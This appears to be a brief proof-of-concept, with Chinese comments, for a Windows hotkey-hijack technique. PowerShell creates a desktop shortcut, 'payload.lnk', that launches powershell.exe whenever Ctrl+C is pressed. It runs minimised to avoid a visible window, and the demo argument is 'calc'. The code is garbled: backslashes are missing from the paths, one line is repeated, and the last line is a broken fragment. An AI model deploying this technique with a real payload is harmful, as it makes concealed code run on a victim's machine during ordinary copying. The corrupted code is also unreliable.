POC:
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("desktopdesktoppayload.lnk") // 在桌面创建快捷方式按钮
$Shortcut.TargetPath = "%SystemRoot%system32WindowsPowerShellv1.0powershell.exe" // 执行文件
$Shortcut.IconLocation = "%SystemRoot%System32Shell32.dll,21" // 设置快捷按钮图标
$Shortcut.hotkey = "ctrl+c" // 快捷键
$Shortcut.WindowStyle = '7' // 最小化执行,避免弹窗
$Shortcut.Arguments = 'calc' // 执行参数
$Shortcut.Save()
执行方法:
保存poc,命令行执行
删除快捷图标即可还原
保存poc,命令行执行
TYPE POC位置 | powershell.exe - profile -